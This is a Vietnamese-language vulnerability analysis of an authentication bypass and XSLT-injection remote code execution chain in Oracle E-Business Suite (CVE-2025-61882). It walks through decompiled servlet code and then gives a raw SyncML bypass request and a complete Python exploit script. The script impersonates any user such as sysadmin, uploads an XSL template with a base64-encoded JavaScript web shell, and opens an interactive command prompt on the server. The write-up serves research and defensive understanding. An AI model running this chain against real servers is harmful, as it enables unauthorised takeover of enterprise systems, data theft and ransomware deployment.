Oracle E-Business Suite Authentication Bypass & RCE (CVE-2025-61882)
Introduction
Hồi tháng 7 năm ngoái, hàng loạt tổ chức lớn trên thế giới bị ảnh hưởng bởi một lỗ hổng 0day trên Oracle E-Business Suite (EBS), sau đó lỗ hổng này đã được định danh: CVE-2025-61882. Và ngay sau khi thông tin này tràn lan khắp nơi, PoC được cho là có liên quan tới chiến dịch này đã được leak trên mạng. Mặc dù exploit này cực kì công phu, chain 5 bug nhỏ lẻ lại để có được preauth RCE, tuy nhiên hướng khai thác này lại có một hạn chế, yêu cầu victim phải có kết nối outbound để có thể exploit thành công. Trong thực tế thì điều này gần như là bất khả thi, server Oracle EBS thường chỉ hoạt động trong phạm vi nội bộ của tổ chức, với các network policy chặt chẽ, gần như việc để mở internet cho server EBS là không thể xảy ra trong thực tế! Và trong thực tế thì rất nhiều tổ chức đã bị dính ransomware thông qua bug này, do đó 0day bị lợi dụng không hề liên quan tới PoC mới bị leak.
Sau 4 tháng chờ đợi mà vẫn chưa có bài viết nào phân tích chi tiết hơn về bug này, chúng tôi quyết định thu thập lại các thông tin, setup lab, reproduce bug và viết chi tiết hơn về bug này.
Trước khi bắt đầu, khuyến khích bạn đọc xem qua trước các bài phân tích sau để hiểu rõ hơn về lỗ hổng:
Oracle E-Business Suite Zero-Day Exploited in Widespread Extortion Campaign | Google Cloud Blog
Well, Well, Well. It’s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-61882)
Analysis
1. Post Auth XLST Injection lead to RCE
Phần này đã được nêu khá rõ tại bài phân tích của Google Mandiant:
Attacker có thể sử dụng chức năng XDO Template Manager để RCE, lợi dụng chức năng Preview template để trigger XSLT injection.
Để sử dụng chức năng trên, ta cần truy cập endpoint /OA_HTML/RF.jsp?function_id=XDO_TEMPLATES
Tạo một template mới như sau:
với file test.xsl:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), 'BASE64_PAYLOAD')" />
<xsl:variable name="js" select="str:new($bs)" />
<xsl:variable name="m" select="jsm:new()" />
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')" />
<xsl:variable name="result" select="eng:eval($e, $js)" />
<xsl:value-of select="$result" />
</xsl:template>
</xsl:stylesheet>
Sau khi save template, click Preview để trigger bug:
Set breakpoint tại oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest()
Khi chọn Preview, EBS sẽ kiểm tra xem request có phải lovEvent không, nếu không sẽ tiếp tục check xem có param tương ứng với từng chức năng hay không. Ở đây ta đang chọn Preview nên sẽ có param preview=Y.
tại TemplateGeneralCO.previewTemplate(), tiếp tục check xem có tồn tại param TemplateCode nếu có sẽ gọi tới TemplatesAMImpl.processTemplate() → TemplateHelper.processTemplate() → TemplateHelper.runProcessTemplate().
Method TemplateHelper.runProcessTemplate() sẽ chọn các engine tương ứng với template type để xử lý. Template type của ta là XSL-HTML sẽ do engine XSLTWrapper xử lý :
else {
Logger.log("TemplateHelper.runProcessTemplate(): Calling XSLT processor.", 1);
XSLTWrapper var36 = new XSLTWrapper(var8);
if (var2.getClass().isArray()) {
throw new XDOException("You cannot pass multiple data XMLs to PDF Form processor.");
}
if (var2.getClass().getName().endsWith("Reader")) {
var36.transform((Reader)var2, new InputStreamReader(var10, "UTF-8"), var22);
} else {
var36.transform((InputStream)var2, var10, var22);
}
từ đây tiếp tục call tới XSLT10gR1.transform() → XSLT10gR1.invokeProcessXSL() và đây cũng chính là sink của bug này:
private void invokeProcessXSL(Object var1, Object var2, Object var3, OutputStream var4) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
Class[] var5 = new Class[]{Class.forName("oracle.xdo.parser.v2.XSLStylesheet"), Class.forName("oracle.xdo.parser.v2.XMLDocument"), class$java$io$OutputStream != null ? class$java$io$OutputStream : (class$java$io$OutputStream = class$("java.io.OutputStream"))};
Method var6 = null;
var6 = var1.getClass().getMethod("processXSL", var5);
var6.invoke(var1, var2, var3, var4);
}
Stack trace từ sink tới source:
oracle.apps.xdo.common.xml.XSLT10gR1.invokeProcessXSL(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLTWrapper.transform(Unknown Source)
oracle.apps.xdo.oa.schema.server.TemplateHelper.runProcessTemplate(TemplateHelper.java:6108)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3481)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3570)
oracle.apps.xdo.oa.template.server.TemplatesAMImpl.processTemplate(TemplatesAMImpl.java:2144)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:606)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAApplicationModuleImpl.invokeMethod(OAApplicationModuleImpl.java:787)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.previewTemplate(TemplateGeneralCO.java:774)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest(TemplateGeneralCO.java:158)2. Authentication Bypass
Đây có lẽ là mảnh ghép cuối cùng còn thiếu của 0day này, mặc dù đã được đề cập trong các bài phân tích của CrowdStrike và Mandiant, tuy nhiên để produce được, cần phải setup lab và debug sâu hơn.
Theo bài phân tích của cả CrowdStrike và Mandiant, chuỗi khai thác này bắt đầu bằng một request POST tới endpoint /OA_HTML/SyncServlet.
Servlet này được định nghĩa trong tệp web.xml tại đường dẫn: /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml
<servlet-mapping>
<servlet-name>SyncServlet</servlet-name>
<url-pattern>/SyncServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>SyncServlet</servlet-name>
<servlet-class>oracle.apps.jtf.cac.sync.transport.SyncServlet</servlet-class>
</servlet>
Về cơ bản, servlet này đóng vai trò là một HTTP Gateway để xử lý việc đồng bộ hóa lịch giữa Oracle EBS và các thiết bị hoặc ứng dụng bên ngoài (như Outlook hoặc điện thoại di động) dựa trên giao thức SyncML (Synchronization Markup Language).
Ban đầu SyncServlet sẽ kiểm tra message hiện tại có thuộc phiên đang tồn tại không dựa trên param sid và state, nếu có thì tiếp tục duy trì phiên đó:
String var14 = var1.getParameter("sid");
String var15 = var1.getParameter("state");
if (var14 != null && var14.length() > 0 && !String.valueOf(3).equals(var15) && !String.valueOf(1).equals(var15)) {
var28 = new SyncContextManager();
this.context = var28.getSyncContext((String)null, (String)null, var25, (Message)null, var8, var129, var10);
this.context.setPrincipalInfo(var19, var18);
SyncPersistentStore var29 = new SyncPersistentStore(this.context);
this.context.setPersistentStore(var29);
if (!this.context.validateSession(var14, true)) {
throw new ServiceUnavailableException("Server Timed Out");
}
var6 = new SyncHandler(this.context);
if (var19 != null && var18 != null) {
var6.readPrincipal(var19, var18);
}
HashMap var30 = var29.getSyncAgents();
Iterator var31 = var30.keySet().iterator();
var32 = null;
HashMap var33 = new HashMap(10);
while (var31.hasNext()) {
SyncAgent var34 = (SyncAgent) var30.get(var31.next());
if (var34 != null) {
var32 = var1.getParameter(var34.name);
}
if (var32 != null) {
Database var35 = new Database(
var34.uri,
(String)null,
(Target)null,
(Source)null,
new SyncAnchor((String)null, var17),
(Principal)null
);
var35.setServerAnchor(new SyncAnchor((String)null, var32));
var33.put(var34.uri, var35);
}
}
var6.setDbs(var33);
}
nếu trong message không có hai param trên SyncServlet sẽ tiến hành xác thực bằng username và password:
if (var6 == null) {
var19 = var5.getHeader().getCredential().getUsername(); // [1]
var39 = var5.getHeader().getCredential().getPassword();
var18 = var5.getHeader().getSource().getURI();
if (var19 == null || var19.trim().length() == 0 || var39 == null || var39.trim().length() == 0) {
throw new UnauthorizedException("Username or password is missing");
}
SyncContextManager var141 = new SyncContextManager();
this.context = var141.getSyncContext(var19, var39, var25, var5, var8, var129, var10);
var3 = this.context.getLogger();
if (var3.isEnabled(2)) {
var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
}
var141.createSession(this.context, var19, var39); // [2]
var14 = this.context.getSessionCookieValue(); // [4]
var141.validateLogon(this.context, var19, var39); // [3]
var6 = new SyncHandler(this.context);
} else {
this.context = var6.getSyncContext();
var3 = this.context.getLogger();
if (var3.isEnabled(2)) {
var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
}
}
Đi theo luồng xử lý của method doPost(): nếu message SyncML (var 5) không chứa sid, method sẽ thực hiện các bước sau:
[1]: Lấy username và password từ header của SyncML.
[2]: Tạo một session mới cho user.
[3]: Check thông tin đăng nhập.
[4]: Gán session cookie vừa được tạo cho var14.
Lỗi logic xuất hiện ngay tại đây: SyncServlet sẽ tạo session trước khi kiểm tra mật khẩu của user truyền vào. Nếu check method createSession(), chúng ta có thể thấy nó không hề kiểm tra mật khẩu mà chỉ xác nhận xem username có tồn tại hay không:
public void createSession(SyncContext var1, String var2, String var3) throws Exception {
if (this.logger.isEnabled(2)) {
this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "Enter createSession", 2);
}
try {
this.logger = var1.getLogger();
if (!var1.createSession(var2.toUpperCase())) {
throw new UnauthorizedException("Session can't be created for " + var2);
}
SessionManager var4 = var1.getSessionManager();
if (this.logger.isEnabled(3)) {
this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "createSession returned successfully", 3);
}
} catch (Exception var8) {
// REDACTED
} finally {
// REDACTED
}
}
Chỉ cần username tồn tại trong hệ thống, một session sẽ được khởi tạo.
Mặc dù validateLogon() sẽ throw exception UnauthorizedException nếu password sai, nhưng nhánh catch sau đó sẽ nuốt exception này để return thông báo lỗi cho client mà không hề hủy bỏ session vừa tạo.
catch (Exception var233) {
Exception var119 = var233;
var39 = var119.fillInStackTrace();
var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var119);
if (!(var119 instanceof ServerException) && !(var119 instanceof RepresentationException) && !(var119 instanceof DataStoreFailureException) && !(var119 instanceof ProtocolVersionNotSupportedException)
&& !(var119 instanceof BadRequestException) && !(var119 instanceof UnauthorizedException)) {
var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "exiting sync servlet due to unexpected exception", 3);
throw new ServletException(var39.toString());
}
try {
var4 = SyncErrorHandler.processError(var5, var12, var39);
var7 = var4.getMessage();
var112 = false;
var210 = false;
}
Cuối cùng, EBS sẽ return response chứa session cookie hợp lệ về cho client:
if (var112) {
// REDACTED
}
else {
// REDACTED
if (var14 != null) {
var131 = var131 + "sid=" + var14; // [5]
}
//REDACTED
if (var4 != null && var7 != null) {
if (var131 != null && var131.length() > 0) {
var131 = URLEncoder.encode(var131);
var7.getHeader().setResponseURI(var131); // [6]
}
if (var3 != null && var3.isEnabled(2)) {
var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Response SYNC Message: " + var7.toString(), 2);
}
var137 = null;
if ("application/vnd.syncml+xml".equals(var4.getMimeType())) {
var137 = var7.toXML().getBytes();
} else if ("application/vnd.syncml+wbxml".equals(var4.getMimeType())) {
try {
var137 = WBXMLTools.toWBXML(var7);
} catch (Exception var216) {
var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var216);
}
}
try {
((OutputStream)var20).write(var137); // [7]
} catch (Exception var214) {
var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var214);
} finally {
((OutputStream)var20).flush();
((OutputStream)var20).close();
}
} else {
var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "null response message", 4);
throw new ServletException("response message is null");
}
[5]: Gán cookie vừa tạo vào param ‘sid’
[6]: Đưa vào tag ResponseURI
[7]: Return lại cho client
Tóm lại: Để chiếm được phiên đăng nhập của một user bất kỳ (ví dụ: sysadmin), ta chỉ cần gửi một message SyncML kèm theo username, EBS sẽ trả lại một cookie hợp lệ trong response :v (this must be a backdoor anyway ¯\_(ツ)_/¯).
POST /OA_HTML/SyncServlet HTTP/1.1
Host: apps.example.com:8000
Content-Type: application/vnd.syncml+xml
Content-Length: 607
<?xml version="1.0" encoding="UTF-8"?>
<SyncML>
<SyncHdr>
<VerDTD>1.1</VerDTD>
<VerProto>SyncML/1.1</VerProto>
<SessionID> 1</SessionID>
<MsgID>1</MsgID>
<Target><LocURI>http://localhost</LocURI></Target>
<Source><LocURI>device-123</LocURI></Source>
<Cred>
<Meta>
<Format>b64</Format>
<Type>syncml:auth-basic</Type>
</Meta>
<Data>c3lzYWRtaW46V1JPTkdfUEFTUw==</Data> // Base64(username:password)
</Cred>
</SyncHdr>
<SyncBody>
<Alert>
<CmdID>1</CmdID>
<Data>200</Data>
</Alert>
<Final/>
</SyncBody>
</SyncML>
Demo:
PoC script:
| import requests | |
| from bs4 import BeautifulSoup | |
| import re | |
| import random | |
| import base64 as Base64 | |
| import xml.etree.ElementTree as ET | |
| import urllib.parse as urlparse | |
| from urllib.parse import unquote, parse_qs | |
| COOKIES = { | |
| "JSESSIONID": "abc", | |
| "EBSDB": "def" | |
| } | |
| HEADERS = { | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0", | |
| "Content-Type": "application/x-www-form-urlencoded" | |
| } | |
| TEMPLATE_NAME = "Template" + str(random.randint(1000, 9999)) | |
| PROXY = {"http": "http://127.0.0.1:8089", "https": "http://127.0.0.1:8089"} | |
| XSL_PAYLOAD = '''<?xml version="1.0" encoding="UTF-8"?> | |
| <xsl:stylesheet version="1.0" | |
| xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
| xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder" | |
| xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager" | |
| xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine" | |
| xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"> | |
| <xsl:template match="/"> | |
| <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), 'dmFyIGUgPSAnJzsKdmFyIG91dHB1dCA9ICIiOwoKdHJ5IHsKICAgIHZhciB0aHJlYWQgPSBqYXZhLmxhbmcuVGhyZWFkLmN1cnJlbnRUaHJlYWQoKTsKICAgIHZhciBjdHhMb2FkZXIgPSB0aHJlYWQuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCk7CiAgICB2YXIgZXhlY3V0ZVRocmVhZENscyA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJ3ZWJsb2dpYy53b3JrLkV4ZWN1dGVUaHJlYWQiLCB0cnVlLCBjdHhMb2FkZXIpOwogICAgdmFyIHNlcnZsZXRSZXNwb25zZUltcGxDbHMgPSBqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgid2VibG9naWMuc2VydmxldC5pbnRlcm5hbC5TZXJ2bGV0UmVzcG9uc2VJbXBsIiwgdHJ1ZSwgY3R4TG9hZGVyKTsKICAgICAgICB2YXIgYWRhcHRlciA9IGV4ZWN1dGVUaHJlYWRDbHMuY2FzdCh0aHJlYWQpLmdldEN1cnJlbnRXb3JrKCk7CiAgICB2YXIgcmVzOwogICAgdmFyIHJlcTsKICAgIGlmIChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TmFtZSgpLmVuZHNXaXRoKCJTZXJ2bGV0UmVxdWVzdEltcGwiKSkgewogICAgICAgIHJlcyA9IHNlcnZsZXRSZXNwb25zZUltcGxDbHMuY2FzdChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIpLmludm9rZShhZGFwdGVyKSk7CiAgICAgICAgcmVxID0gYWRhcHRlcjsgCiAgICB9IGVsc2UgewogICAgICAgIHZhciBmaWVsZCA9IGFkYXB0ZXIuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJjb25uZWN0aW9uSGFuZGxlciIpOwogICAgICAgIGZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CiAgICAgICAgdmFyIG9iaiA9IGZpZWxkLmdldChhZGFwdGVyKTsKICAgICAgICByZXEgPSBvYmouZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImdldFNlcnZsZXRSZXF1ZXN0IikuaW52b2tlKG9iaik7CiAgICAgICAgcmVzID0gc2VydmxldFJlc3BvbnNlSW1wbENscy5jYXN0KHJlcS5nZXRDbGFzcygpLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiKS5pbnZva2UocmVxKSk7CiAgICB9CgogCiAgICB2YXIgY21kID0gcmVxLmdldEhlYWRlcigiY21kIik7CiAgICBpZiAoY21kKSB7CiAgICAgICAgdmFyIHByb2MgPSBqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWQpOwogICAgICAgIHZhciBpcyA9IHByb2MuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAKICAgICAgICB2YXIgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihpcykudXNlRGVsaW1pdGVyKCJcXEEiKTsKICAgICAgICBvdXRwdXQgPSBzLmhhc05leHQoKSA/IHMubmV4dCgpIDogIiI7CiAgICAgICAgCiAgICAgICAgaWYgKG91dHB1dC5sZW5ndGgoKSA8IDEpIHsKICAgICAgICAgICAgdmFyIGVzID0gcHJvYy5nZXRFcnJvclN0cmVhbSgpOwogICAgICAgICAgICB2YXIgc2UgPSBuZXcgamF2YS51dGlsLlNjYW5uZXIoZXMpLnVzZURlbGltaXRlcigiXFxBIik7CiAgICAgICAgICAgIG91dHB1dCA9IHNlLmhhc05leHQoKSA/IHNlLm5leHQoKSA6ICIiOwogICAgICAgIH0KCiAgICAgICAgcmVzLmdldFNlcnZsZXRPdXRwdXRTdHJlYW0oKS53cml0ZShuZXcgamF2YS5sYW5nLlN0cmluZyhvdXRwdXQpLmdldEJ5dGVzKCkpOwogICAgICAgIHJlcy5nZXRTZXJ2bGV0T3V0cHV0U3RyZWFtKCkuZmx1c2goKTsKICAgICAgICByZXMuZ2V0V3JpdGVyKCkuY2xvc2UoKTsKICAgICAgICByZXMuZ2V0U2VydmxldE91dHB1dFN0cmVhbSgpLmNsb3NlKCk7CiAgICAgICAgCiAgICB9Cgp9IGNhdGNoIChlcnJvcikgewogICAgCn0=')" /> | |
| <xsl:variable name="js" select="str:new($bs)" /> | |
| <xsl:variable name="m" select="jsm:new()" /> | |
| <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')" /> | |
| <xsl:variable name="result" select="eng:eval($e, $js)" /> | |
| <xsl:value-of select="$result" /> | |
| </xsl:template> | |
| </xsl:stylesheet>''' | |
| def check(url): | |
| try: | |
| print(f"[*] Checking if target {url} is vulnerable...") | |
| r = requests.get(f"{url}/OA_HTML/SyncServlet") | |
| if "Oracle Common Applications Calendar Synchronization Server is Alive" in r.text: | |
| print(f"[+] Target seems vulnerable!") | |
| return True | |
| print("[-] Target seems not vulnerable") | |
| return False | |
| except requests.RequestException: | |
| print("[-] Something went wrong. Check manually.") | |
| return False | |
| def auth_bypass(url, username): | |
| try: | |
| headers = { | |
| 'User-Agent': HEADERS['User-Agent'], | |
| 'Content-Type': 'application/vnd.syncml+xml', | |
| } | |
| payload = Base64.b64encode(f"{username}:Qwerty123!".encode()).decode() | |
| data = f'''<?xml version="1.0" encoding="UTF-8"?> | |
| <SyncML> | |
| <SyncHdr> | |
| <VerDTD>1.1</VerDTD> | |
| <VerProto>SyncML/1.1</VerProto> | |
| <SessionID> 1</SessionID> | |
| <MsgID>1</MsgID> | |
| <Target><LocURI>http://localhost</LocURI></Target> | |
| <Source><LocURI>device-123</LocURI></Source> | |
| <Cred> | |
| <Meta> | |
| <Format>b64</Format> | |
| <Type>syncml:auth-basic</Type> | |
| </Meta> | |
| <Data>{payload}</Data> | |
| </Cred> | |
| </SyncHdr> | |
| <SyncBody> | |
| <Alert> | |
| <CmdID>1</CmdID> | |
| <Data>200</Data> | |
| </Alert> | |
| <Final/> | |
| </SyncBody> | |
| </SyncML>''' | |
| r = requests.post(f"{url}/OA_HTML/SyncServlet", headers=headers, data=data, verify=False, proxies=PROXY) | |
| xml_content = r.text | |
| try: | |
| root = ET.fromstring(xml_content) | |
| resp_uri = root.find(".//RespURI") | |
| if resp_uri is not None: | |
| raw_value = resp_uri.text | |
| decoded_value = unquote(raw_value) | |
| parsed_url = urlparse.urlparse(decoded_value) | |
| query_params = parse_qs(parsed_url.query) | |
| sid_value = query_params.get('sid', [None])[0] | |
| return sid_value | |
| else: | |
| print("[-] RespURI tag not found") | |
| except ET.ParseError as e: | |
| print(f"[-] XML Parsing Error: {e}") | |
| return None | |
| except requests.RequestException: | |
| print("[-] Something went wrong during auth bypass. Check manually.") | |
| return None | |
| def get_cookies(url, sid): | |
| try: | |
| cookies = {"EBSDB": sid} | |
| r = requests.get(f"{url}/OA_HTML/OA.jsp?OAFunc=OANEWHOMEPAGE", cookies=cookies, verify=False, proxies=PROXY) | |
| if "Logged In As" in r.text: | |
| print("[+] Successfully obtained session cookies!") | |
| cookies.update(r.cookies.get_dict()) | |
| return cookies | |
| else: | |
| print("[-] Failed to obtain valid session cookies.") | |
| return None | |
| except requests.RequestException: | |
| print("[-] Something went wrong while getting cookies. Check manually.") | |
| return None | |
| def step_1(url): | |
| print("[*] Starting Step 1: Naviating to /OA_HTML/RF.jsp?function_id=XDO_TEMPLATES") | |
| url1 = f"{url}/OA_HTML/RF.jsp?function_id=XDO_TEMPLATES" | |
| response1 = requests.get(url1, headers=HEADERS, cookies=COOKIES, verify=False, proxies=PROXY) | |
| return response1.text | |
| def step_2(url, html_content): | |
| print("[*] Starting Step 2: Navigating to Create Template Page...") | |
| soup = BeautifulSoup(html_content, 'html.parser') | |
| form_tag = soup.find('form', id='DefaultFormName') | |
| if not form_tag: | |
| print("[-] Error: Cannot find form DefaultFormName") | |
| return | |
| action_url = form_tag.get('action') | |
| if action_url.startswith("/"): | |
| full_url = f"{url}{action_url}" | |
| else: | |
| full_url = action_url | |
| payload = {} | |
| for tag in soup.find_all('input', type='hidden'): | |
| name = tag.get('name') | |
| value = tag.get('value') | |
| if name: | |
| payload[name] = value if value else "" | |
| create_btn = soup.find("button", {"id": "Create"}) | |
| if create_btn: | |
| onclick_text = create_btn.get("onclick") | |
| match = re.search(r"'_FORM_SUBMIT_BUTTON':'([^']+)'", onclick_text) | |
| if match: | |
| submit_id = match.group(1) | |
| # print(f"[+] Found Create Button ID: {submit_id}") | |
| payload['_FORM_SUBMIT_BUTTON'] = submit_id | |
| payload['event'] = '' | |
| payload['source'] = '' | |
| else: | |
| print("[-] Regex failed on onclick text") | |
| return | |
| else: | |
| print("[-] Could not find Create Template button") | |
| return | |
| print("[*] Sending POST request to navigate to Create Page...") | |
| try: | |
| r = requests.post(full_url, headers=HEADERS, cookies=COOKIES, data=payload, verify=False, proxies=PROXY) | |
| if "Create Template" in r.text and "AttachData_oafileUpload" in r.text: | |
| return r.text | |
| else: | |
| print("[-] Failed. Still on Search page or Error.") | |
| print(r.text[:500]) | |
| return None | |
| except Exception as e: | |
| print(f"Error: {e}") | |
| def step_3(url, html_content): | |
| print("[*] Starting Step 3: Parsing Create Template Page & Uploading XSL Payload...") | |
| soup = BeautifulSoup(html_content, 'html.parser') | |
| form = soup.find('form', id='DefaultFormName') | |
| if not form: | |
| print("[-] Error: Cannot find form DefaultFormName") | |
| return | |
| action_url = form.get('action') | |
| if action_url.startswith("/"): | |
| full_url = f"{url}{action_url}" | |
| else: | |
| full_url = action_url | |
| payload = {} | |
| for tag in soup.find_all('input', type='hidden'): | |
| name = tag.get('name') | |
| value = tag.get('value', '') | |
| if name: | |
| payload[name] = value | |
| temp_type_val = "" | |
| temp_type_select = soup.find('select', id='TempType') | |
| if temp_type_select: | |
| for option in temp_type_select.find_all('option'): | |
| if "XSL-HTML" in option.text: | |
| temp_type_val = option.get('value') | |
| break | |
| if not temp_type_val: | |
| print("[-] Warning: Could not find XSL-HTML option in TempType.") | |
| def_out_val = "" | |
| def_out_select = soup.find('select', id='DefaultOutputType') | |
| if def_out_select: | |
| for option in def_out_select.find_all('option'): | |
| if "PDF" in option.text: | |
| def_out_val = option.get('value') | |
| break | |
| apply_btn_id = "ApplyButton" | |
| apply_btn = soup.find('button', id='ApplyButton') | |
| if apply_btn: | |
| onclick_text = apply_btn.get('onclick', '') | |
| match = re.search(r"'_FORM_SUBMIT_BUTTON':'([^']+)'", onclick_text) | |
| if match: | |
| apply_btn_id = match.group(1) | |
| # print(f"[+] Found Apply Button ID: {apply_btn_id}") | |
| payload.update({ | |
| 'TempName': TEMPLATE_NAME, | |
| 'TemplateCode': TEMPLATE_NAME, | |
| 'ApplicationName': 'Application Report Generator', | |
| 'ApplicationId': '168', | |
| 'ApplicationShortName': 'RG', | |
| 'DsDataSourceName': 'FSG program', | |
| 'TempType': temp_type_val, | |
| 'StartDate': '14-Jan-2000', | |
| 'LanguageName': 'English', | |
| 'DefaultOutputType': def_out_val, | |
| '_FORM_SUBMIT_BUTTON': apply_btn_id, | |
| 'event': '', | |
| 'source': '' | |
| }) | |
| files = { | |
| 'AttachData_oafileUpload': ('payload.xsl', XSL_PAYLOAD, 'text/xml') | |
| } | |
| print(f"[*] Sending POST request to create XSL template '{TEMPLATE_NAME}'...") | |
| headers_step3 = HEADERS.copy() | |
| if "Content-Type" in headers_step3: | |
| del headers_step3["Content-Type"] | |
| try: | |
| r = requests.post(full_url, headers=headers_step3, cookies=COOKIES, data=payload, files=files, verify=False, proxies=PROXY) | |
| if "successfully created" in r.text: | |
| print("[+] XSL Template successfully created!") | |
| else: | |
| print("[-] Application returned an error.") | |
| return r.text | |
| except Exception as e: | |
| print(f"[-] Request failed: {e}") | |
| def step_4(url, html_content): | |
| print("[*] Starting Step 4: Triggering Template Preview...") | |
| soup = BeautifulSoup(html_content, 'html.parser') | |
| form = soup.find('form', id='DefaultFormName') | |
| if not form: | |
| print("[-] Error: Cannot find form DefaultFormName") | |
| return | |
| action_url = form.get('action') | |
| if action_url.startswith("/"): | |
| full_url = f"{url}{action_url}" | |
| else: | |
| full_url = action_url | |
| # print(f"[+] Form Action: {full_url}") | |
| payload = {} | |
| for tag in soup.find_all('input', type='hidden'): | |
| name = tag.get('name') | |
| value = tag.get('value', '') | |
| if name: | |
| payload[name] = value | |
| preview_link = soup.find('a', id='N3:PreviewEnabled:0') | |
| if not preview_link: | |
| print("[-] Exact ID 'N3:PreviewEnabled:0' not found. Searching loosely...") | |
| preview_link = soup.find('a', id=lambda x: x and 'PreviewEnabled' in x) | |
| if preview_link: | |
| # print("[+] Found Preview Link.") | |
| onclick_text = preview_link.get('onclick', '') | |
| match = re.search(r"submitForm\('[^']+',\d+,\{(.+?)\}\)", onclick_text) | |
| if match: | |
| params_str = match.group(1) | |
| pairs = params_str.split(',') | |
| for pair in pairs: | |
| if ':' in pair: | |
| key, val = pair.split(':', 1) | |
| key = key.strip().strip("'").strip('"') | |
| val = val.strip().strip("'").strip('"') | |
| payload[key] = val | |
| else: | |
| print("[-] Could not regex parse the onclick event.") | |
| return | |
| else: | |
| print("[-] Error: Could not find the Preview Button in the HTML.") | |
| return | |
| preview_format_select = soup.find('select', id='PreviewFormat') | |
| if preview_format_select: | |
| selected_opt = preview_format_select.find('option', selected=True) | |
| if not selected_opt: | |
| selected_opt = preview_format_select.find('option') | |
| if selected_opt: | |
| p_fmt_val = selected_opt.get('value') | |
| payload['PreviewFormat'] = p_fmt_val | |
| # print(f"[+] Setting PreviewFormat: {p_fmt_val}") | |
| print("[*] Sending POST request to Preview Template...") | |
| try: | |
| HEADERS.update({"cmd": "echo OK"}) | |
| r = requests.post(full_url, headers=HEADERS, cookies=COOKIES, data=payload, verify=False, proxies=PROXY) | |
| if "OK" in r.text: | |
| print("[!] SUCCESS") | |
| while True: | |
| cmd = input("cmd> ") | |
| if cmd.lower() in ['exit', 'quit']: | |
| break | |
| HEADERS.update({"cmd": cmd}) | |
| r = requests.post(full_url, headers=HEADERS, cookies=COOKIES, data=payload, verify=False, proxies=PROXY) | |
| print(r.text) | |
| else: | |
| print("[-] Failed to preview template or no output returned. Check manually.") | |
| except Exception as e: | |
| print(f"[-] Request failed: {e}") | |
| if __name__ == "__main__": | |
| url = input("Enter target url (ex:http://example.com): ") | |
| if check(url): | |
| username = input("Enter username to authenticate as (ex: sysadmin): ") | |
| sid = auth_bypass(url, username) | |
| if sid: | |
| cookies = get_cookies(url, sid) | |
| if cookies: | |
| COOKIES.update(cookies) | |
| html1 = step_1(url) | |
| if html1: | |
| html2 = step_2(url, html1) | |
| if html2: | |
| html3 = step_3(url, html2) | |
| if html3: | |
| step_4(url,html3) |
Thanks for reading!







